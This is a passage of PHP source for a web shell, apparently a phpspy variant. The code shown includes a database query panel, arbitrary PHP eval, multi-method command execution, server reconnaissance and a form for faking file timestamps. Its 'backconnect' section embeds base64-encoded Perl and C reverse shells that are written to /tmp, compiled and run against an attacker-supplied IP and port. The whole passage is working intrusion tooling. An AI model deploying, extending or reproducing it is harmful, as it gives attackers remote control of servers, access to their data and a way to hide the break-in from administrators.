829 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
830 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
831 // ? ? ?
832 $mysqlver = mysql_get_server_info();
833 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
834 $highver = $mysqlver > '4.1' ? 1 : 0;
835
836 // ? ?
837 $query = q("SHOW DATABASES");
838 $dbs = array();
839 $dbs[] = '-- Select a database --';
840 while($db = mysql_fetch_array($query)) {
841 $dbs[$db['Database']] = $db['Database'];
842 }
843 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
844 $tabledb = array();
845 if ($dbname) {
846 p('<p>');
847 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
848 if ($tablename) {
849 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
850 }
851 p('</p>');
852 mysql_select_db($dbname);
853
854 $getnumsql = '';
855 $runquery = 0;
856 if ($sql_query) {
857 $runquery = 1;
858 }
859 $allowedit = 0;
860 if ($tablename && !$sql_query) {
861 $sql_query = "SELECT * FROM $tablename";
862 $getnumsql = $sql_query;
863 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
864 $allowedit = 1;
865 }
866 p('<form action="'.$self.'" method="POST">');
867 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
868 makehide('tablename', $tablename);
869 makehide('action','sqladmin');
870 p($dbform);
871 p('</form>');
872 if ($tablename || ($runquery && $sql_query)) {
873 if ($doing == 'structure') {
874 $result = q("SHOW COLUMNS FROM $tablename");
875 $rowdb = array();
876 while($row = mysql_fetch_array($result)) {
877 $rowdb[] = $row;
878 }
879 p('<table border="0" cellpadding="3" cellspacing="0">');
880 p('<tr class="head">');
881 p('<td>Field</td>');
882 p('<td>Type</td>');
883 p('<td>Null</td>');
884 p('<td>Key</td>');
885 p('<td>Default</td>');
886 p('<td>Extra</td>');
887 p('</tr>');
888 foreach ($rowdb as $row) {
889 $thisbg = bg();
890 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
891 p('<td>'.$row['Field'].'</td>');
892 p('<td>'.$row['Type'].'</td>');
893 p('<td>'.$row['Null'].' </td>');
894 p('<td>'.$row['Key'].' </td>');
895 p('<td>'.$row['Default'].' </td>');
896 p('<td>'.$row['Extra'].' </td>');
897 p('</tr>');
898 }
899 tbfoot();
900 } elseif ($doing == 'insert' || $doing == 'edit') {
901 $result = q('SHOW COLUMNS FROM '.$tablename);
902 while ($row = mysql_fetch_array($result)) {
903 $rowdb[] = $row;
904 }
905 $rs = array();
906 if ($doing == 'insert') {
907 p('<h2>Insert new line in '.$tablename.' table »</h2>');
908 } else {
909 p('<h2>Update record in '.$tablename.' table »</h2>');
910 $where = base64_decode($base64);
911 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
912 $rs = mysql_fetch_array($result);
913 }
914 p('<form method="post" action="'.$self.'">');
915 p($dbform);
916 makehide('action','sqladmin');
917 makehide('tablename',$tablename);
918 p('<table border="0" cellpadding="3" cellspacing="0">');
919 foreach ($rowdb as $row) {
920 if ($rs[$row['Field']]) {
921 $value = htmlspecialchars($rs[$row['Field']]);
922 } else {
923 $value = '';
924 }
925 $thisbg = bg();
926 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
927 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
928 }
929 if ($doing == 'insert') {
930 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
931 } else {
932 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
933 makehide('base64', $base64);
934 }
935 p('</table></form>');
936 } else {
937 $querys = @explode(';',$sql_query);
938 foreach($querys as $num=>$query) {
939 if ($query) {
940 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
941 switch(qy($query))
942 {
943 case 0:
944 p('<h2>Error : '.mysql_error().'</h2>');
945 break;
946 case 1:
947 if (strtolower(substr($query,0,13)) == 'select * from') {
948 $allowedit = 1;
949 }
950 if ($getnumsql) {
951 $tatol = mysql_num_rows(q($getnumsql));
952 $multipage = multi($tatol, $pagenum, $page, $tablename);
953 }
954 if (!$tablename) {
955 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
956 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
957 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
958 $tablename = $matches[1][0];
959 }
960 $result = q($query);
961 p($multipage);
962 p('<table border="0" cellpadding="3" cellspacing="0">');
963 p('<tr class="head">');
964 if ($allowedit) p('<td>Action</td>');
965 $fieldnum = @mysql_num_fields($result);
966 for($i=0;$i<$fieldnum;$i++){
967 $name = @mysql_field_name($result, $i);
968 $type = @mysql_field_type($result, $i);
969 $len = @mysql_field_len($result, $i);
970 p("<td nowrap>$name<br><span>$type($len)</span></td>");
971 }
972 p('</tr>');
973 while($mn = @mysql_fetch_assoc($result)){
974 $thisbg = bg();
975 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
976 $where = $tmp = $b1 = '';
977 foreach($mn as $key=>$inside){
978 if ($inside) {
979 $where .= $tmp.$key."='".addslashes($inside)."'";
980 $tmp = ' AND ';
981 }
982 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
983 }
984 $where = base64_encode($where);
985 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
986 p($b1);
987 p('</tr>');
988 unset($b1);
989 }
990 tbfoot();
991 p($multipage);
992 break;
993 case 2:
994 $ar = mysql_affected_rows();
995 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
996 break;
997 }
998 }
999 }
1000 }
1001 } else {
1002 $query = q("SHOW TABLE STATUS");
1003 $table_num = $table_rows = $data_size = 0;
1004 $tabledb = array();
1005 while($table = mysql_fetch_array($query)) {
1006 $data_size = $data_size + $table['Data_length'];
1007 $table_rows = $table_rows + $table['Rows'];
1008 $table['Data_length'] = sizecount($table['Data_length']);
1009 $table_num++;
1010 $tabledb[] = $table;
1011 }
1012 $data_size = sizecount($data_size);
1013 unset($table);
1014 p('<table border="0" cellpadding="0" cellspacing="0">');
1015 p('<form action="'.$self.'" method="POST">');
1016 makehide('action','sqladmin');
1017 p($dbform);
1018 p('<tr class="head">');
1019 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1020 p('<td>Name</td>');
1021 p('<td>Rows</td>');
1022 p('<td>Data_length</td>');
1023 p('<td>Create_time</td>');
1024 p('<td>Update_time</td>');
1025 if ($highver) {
1026 p('<td>Engine</td>');
1027 p('<td>Collation</td>');
1028 }
1029 p('</tr>');
1030 foreach ($tabledb as $key => $table) {
1031 $thisbg = bg();
1032 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1033 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1034 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1035 p('<td>'.$table['Rows'].'</td>');
1036 p('<td>'.$table['Data_length'].'</td>');
1037 p('<td>'.$table['Create_time'].'</td>');
1038 p('<td>'.$table['Update_time'].'</td>');
1039 if ($highver) {
1040 p('<td>'.$table['Engine'].'</td>');
1041 p('<td>'.$table['Collation'].'</td>');
1042 }
1043 p('</tr>');
1044 }
1045 p('<tr class='.bg().'>');
1046 p('<td> </td>');
1047 p('<td>Total tables: '.$table_num.'</td>');
1048 p('<td>'.$table_rows.'</td>');
1049 p('<td>'.$data_size.'</td>');
1050 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1051 p('</tr>');
1052
1053 p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1054 makehide('doing','backupmysql');
1055 formfoot();
1056 p("</table>");
1057 fr($query);
1058 }
1059 }
1060 }
1061 tbfoot();
1062 @mysql_close();
1063}//end sql backup
1064
1065
1066elseif ($action == 'backconnect') {
1067 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1068 !$yourport && $yourport = '12345';
1069 $usedb = array('perl'=>'perl','c'=>'c');
1070
1071 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1072 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1073 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1074 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1075 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1076 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1077 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1078 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1079 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1080 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1081 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1082 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1083 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1084 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1085 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1086
1087 if ($start && $yourip && $yourport && $use){
1088 if ($use == 'perl') {
1089 cf('/tmp/angel_bc',$back_connect);
1090 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1091 } else {
1092 cf('/tmp/angel_bc.c',$back_connect_c);
1093 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1094 @unlink('/tmp/angel_bc.c');
1095 $res = execute("/tmp/angel_bc $yourip $yourport &");
1096 }
1097 m("Now script try connect to $yourip port $yourport ...");
1098 }
1099
1100 formhead(array('title'=>'Back Connect'));
1101 makehide('action','backconnect');
1102 p('<p>');
1103 p('Your IP:');
1104 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1105 p('Your Port:');
1106 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1107 p('Use:');
1108 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1109 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1110 p('</p>');
1111 formfoot();
1112}//end sql backup
1113
1114elseif ($action == 'eval') {
1115 $phpcode = trim($phpcode);
1116 if($phpcode){
1117 if (!preg_match('#<\?#si', $phpcode)) {
1118 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1119 }
1120 eval("?".">$phpcode<?");
1121 }
1122 formhead(array('title'=>'Eval PHP Code'));
1123 makehide('action','eval');
1124 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1125 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1126 formfooter();
1127}//end eval
1128
1129elseif ($action == 'editfile') {
1130 if(file_exists($opfile)) {
1131 $fp=@fopen($opfile,'r');
1132 $contents=@fread($fp, filesize($opfile));
1133 @fclose($fp);
1134 $contents=htmlspecialchars($contents);
1135 }
1136 formhead(array('title'=>'Create / Edit File'));
1137 makehide('action','file');
1138 makehide('dir',$nowpath);
1139 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1140 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1141 formfooter();
1142}//end editfile
1143
1144elseif ($action == 'newtime') {
1145 $opfilemtime = @filemtime($opfile);
1146 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1147 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1148 formhead(array('title'=>'Clone file was last modified time'));
1149 makehide('action','file');
1150 makehide('dir',$nowpath);
1151 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1152 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1153 formfooter();
1154 formhead(array('title'=>'Set last modified'));
1155 makehide('action','file');
1156 makehide('dir',$nowpath);
1157 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1158 p('<p>Instead »');
1159 p('year:');
1160 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1161 p('month:');
1162 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1163 p('day:');
1164 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1165 p('hour:');
1166 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1167 p('minute:');
1168 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1169 p('second:');
1170 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1171 p('</p>');
1172 formfooter();
1173}//end newtime
1174
1175elseif ($action == 'shell') {
1176 if (IS_WIN && IS_COM) {
1177 if($program && $parameter) {
1178 $shell= new COM('Shell.Application');
1179 $a = $shell->ShellExecute($program,$parameter);
1180 m('Program run has '.(!$a ? 'success' : 'fail'));
1181 }
1182 !$program && $program = 'c:\windows\system32\cmd.exe';
1183 !$parameter && $parameter = '/c net start > '.SA_ROOT.'logvardıartıkyokaq:Dhattainanmassınızşimdiurldebukadaruzunyapacağımdaaklınızagelmesinmalmıyımamk/*fsa896asf895634asf5as6f6as5f4asf6as5f6asf6as6f böyle bide random atayımda inanın olmadığınba aq :AF:ASF:AS:F.txt';
1184 formhead(array('title'=>'Execute Program'));
1185 makehide('action','shell');
1186 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1187 p('<p>');
1188 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1189 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1190 p('</p>');
1191 formfoot();
1192 }
1193 formhead(array('title'=>'Execute Command'));
1194 makehide('action','shell');
1195 if (IS_WIN && IS_COM) {
1196 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1197 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1198 }
1199 p('<p>');
1200 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1201 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1202 p('</p>');
1203 formfoot();
1204
1205 if ($command) {
1206 p('<hr width="100%" noshade /><pre>');
1207 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1208 $wsh = new COM('WScript.shell');
1209 $exec = $wsh->exec('cmd.exe /c '.$command);
1210 $stdout = $exec->StdOut();
1211 $stroutput = $stdout->ReadAll();
1212 echo $stroutput;
1213 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1214 $descriptorspec = array(
1215 0 => array('pipe', 'r'),
1216 1 => array('pipe', 'w'),
1217 2 => array('pipe', 'w')
1218 );
1219 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1220 if (is_resource($process)) {
1221 fwrite($pipes[0], $command."\r\n");
1222 fwrite($pipes[0], "exit\r\n");
1223 fclose($pipes[0]);
1224 while (!feof($pipes[1])) {
1225 echo fgets($pipes[1], 1024);
1226 }
1227 fclose($pipes[1]);
1228 while (!feof($pipes[2])) {
1229 echo fgets($pipes[2], 1024);
1230 }
1231 fclose($pipes[2]);
1232 proc_close($process);
1233 }
1234 } else {
1235 echo(execute($command));
1236 }
1237 p('</pre>');
1238 }
1239}//end shell
1240
1241elseif ($action == 'phpenv') {
1242 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1243 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1244 !$dis_func && $dis_func = 'No';
1245 $info = array(
1246 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1247 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1248 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1249 4 => array('Server OS',PHP_OS),
1250 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1251 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1252 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1253 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1254 9 => array('The file path',__FILE__),
1255
1256 10 => array('PHP Version',PHP_VERSION),
1257 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1258 12 => array('Safe Mode',getcfg('safe_mode')),
1259 13 => array('Administrator',$adminmail),
1260 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1261 15 => array('enable_dl',getcfg('enable_dl')),
1262 16 => array('display_errors',getcfg('display_errors')),
1263 17 => array('register_globals',getcfg('register_globals')),
1264 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1265 19 => array('memory_limit',getcfg('memory_limit')),
1266 20 => array('post_max_size',getcfg('post_max_size')),
1267 21 => array('upload_max_filesize',$upsize),
1268 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1269 23 => array('disable_functions',$dis_func),
1270 );
1271
1272 if($phpvarname) {
1273 m($phpvarname .' : '.getcfg($phpvarname));
1274 }
1275
1276 formhead(array('title'=>'Server environment'));
1277 makehide('action','phpenv');
1278 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1279 formfooter();
1280
1281 $hp = array(0=> 'Server', 1=> 'PHP');
1282 for($a=0;$a<2;$a++) {
1283 p('<h2>'.$hp[$a].' »</h2>');
1284 p('<ul class="info">');
1285 if ($a==0) {
1286 for($i=1;$i<=9;$i++) {
1287 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1288 }
1289 } elseif ($a == 1) {
1290 for($i=10;$i<=23;$i++) {
1291 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1292 }
1293 }
1294 p('</ul>');
1295 }
1296}//end phpenv
1297
1298else {
1299 m('Undefined Action');
1300}
1301
1302?>
1303</td></tr></table>
1304<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
1305 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1306 Copyright (C) 2011 <a href="" target="_blank">PisTqon</a> All Rights Reserved.
1307</div>
1308</body>
1309</html>
1310
1311<?php
1312
1313/*======================================================
1314
1315======================================================*/
1316
1317function m($msg) {
1318 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1319 echo $msg;
1320 echo '</div>';
1321}
1322function scookie($key, $value, $life = 0, $prefix = 1) {
1323 global $admin, $timestamp, $_SERVER;
1324 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1325 $life = $life ? $life : $admin['cookielife'];
1326 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1327 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1328}
1329function multi($num, $perpage, $curpage, $tablename) {
1330 $multipage = '';
1331 if($num > $perpage) {
1332 $page = 10;
1333 $offset = 5;
1334 $pages = @ceil($num / $perpage);
1335 if($page > $pages) {
1336 $from = 1;
1337 $to = $pages;
1338 } else {
1339 $from = $curpage - $offset;
1340 $to = $curpage + $page - $offset - 1;
1341 if($from < 1) {
1342 $to = $curpage + 1 - $from;
1343 $from = 1;
1344 if(($to - $from) < $page && ($to - $from) < $pages) {
1345 $to = $page;
1346 }
1347 } elseif($to > $pages) {
1348 $from = $curpage - $pages + $to;
1349 $to = $pages;
1350 if(($to - $from) < $page && ($to - $from) < $pages) {
1351 $from = $pages - $page + 1;
1352 }
1353 }
1354 }
1355 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1356 for($i = $from; $i <= $to; $i++) {
1357 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1358 }
1359 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1360 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1361 }
1362 return $multipage;
1363}
1364// ½
1365function loginpage() {
1366?>
1367 <style type="text/css">
1368 input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
1369 </style>
1370 <form method="POST" action="">
1371 <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
1372 <input type="hidden" name="doing" value="login">
1373 <input type="submit" value="Login">
1374 </form>
1375<?php
1376 exit;
1377}//end loginpage()
1378
1379function execute($cfe) {
1380 $res = '';
1381 if ($cfe) {
1382 if(function_exists('exec')) {
1383 @exec($cfe,$res);
1384 $res = join("\n",$res);
1385 } elseif(function_exists('shell_exec')) {
1386 $res = @shell_exec($cfe);
1387 } elseif(function_exists('system')) {
1388 @ob_start();
1389 @system($cfe);
1390 $res = @ob_get_contents();
1391 @ob_end_clean();
1392 } elseif(function_exists('passthru')) {
1393 @ob_start();
1394 @passthru($cfe);
1395 $res = @ob_get_contents();
1396 @ob_end_clean();
1397 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1398 $res = '';
1399 while(!@feof($f)) {
1400 $res .= @fread($f,1024);
1401 }
1402 @pclose($f);
1403 }
1404 }
1405 return $res;
1406}
1407function which($pr) {
1408 $path = execute("which $pr");
1409 return ($path ? $path : $pr);
1410}
1411
1412function cf($fname,$text){
1413 if($fp=@fopen($fname,'w')) {
1414 @fputs($fp,@base64_decode($text));
1415 @fclose($fp);
1416 }
1417}
1418
1419// ? ?
1420function debuginfo() {
1421 global $starttime;
1422 $mtime = explode(' ', microtime());
1423 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1424 echo 'Processed in '.$totaltime.' second(s)';
1425}
1426
1427// ?
1428function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1429 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1430 p('<h2>Can not connect to MySQL server</h2>');
1431 exit;
1432 }
1433 if($link && $dbname) {
1434 if (!@mysql_select_db($dbname, $link)) {
1435 p('<h2>Database selected has error</h2>');
1436 exit;
1437 }
1438 }
1439 if($link && mysql_get_server_info() > '4.1') {
1440 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1441 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1442 }
1443 }
1444 return $link;
1445}
1446
1447// ? ? ?
1448function s_array(&$array) {
1449 if (is_array($array)) {
1450 foreach ($array as $k => $v) {
1451 $array[$k] = s_array($v);
1452 }
1453 } else if (is_string($array)) {
1454 $array = stripslashes($array);
1455 }
1456 return $array;
1457}
1458
1459// HTML
1460function html_clean($content) {
1461 $content = htmlspecialchars($content);
1462 $content = str_replace("\n", "<br />", $content);
1463 $content = str_replace(" ", " ", $content);
1464 $content = str_replace("\t", " ", $content);
1465 return $content;
1466}
1467
1468// ??
1469function getChmod($filepath){
1470 return substr(base_convert(@fileperms($filepath),10,8),-4);
1471}
1472
1473function getPerms($filepath) {
1474 $mode = @fileperms($filepath);
1475 if (($mode & 0xC000) === 0xC000) {$type = 's';}
1476 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
1477 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
1478 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
1479 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
1480 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
1481 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
1482 else {$type = '?';}
1483
1484 $owner['read'] = ($mode & 00400) ? 'r' : '-';
1485 $owner['write'] = ($mode & 00200) ? 'w' : '-';
1486 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
1487 $group['read'] = ($mode & 00040) ? 'r' : '-';
1488 $group['write'] = ($mode & 00020) ? 'w' : '-';
1489 $group['execute'] = ($mode & 00010) ? 'x' : '-';
1490 $world['read'] = ($mode & 00004) ? 'r' : '-';
1491 $world['write'] = ($mode & 00002) ? 'w' : '-';
1492 $world['execute'] = ($mode & 00001) ? 'x' : '-';
1493
1494 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
1495 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
1496 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
1497
1498 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
1499}
1500
1501function getUser($filepath) {
1502 if (function_exists('posix_getpwuid')) {
1503 $array = @posix_getpwuid(@fileowner($filepath));
1504 if ($array && is_array($array)) {
1505 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
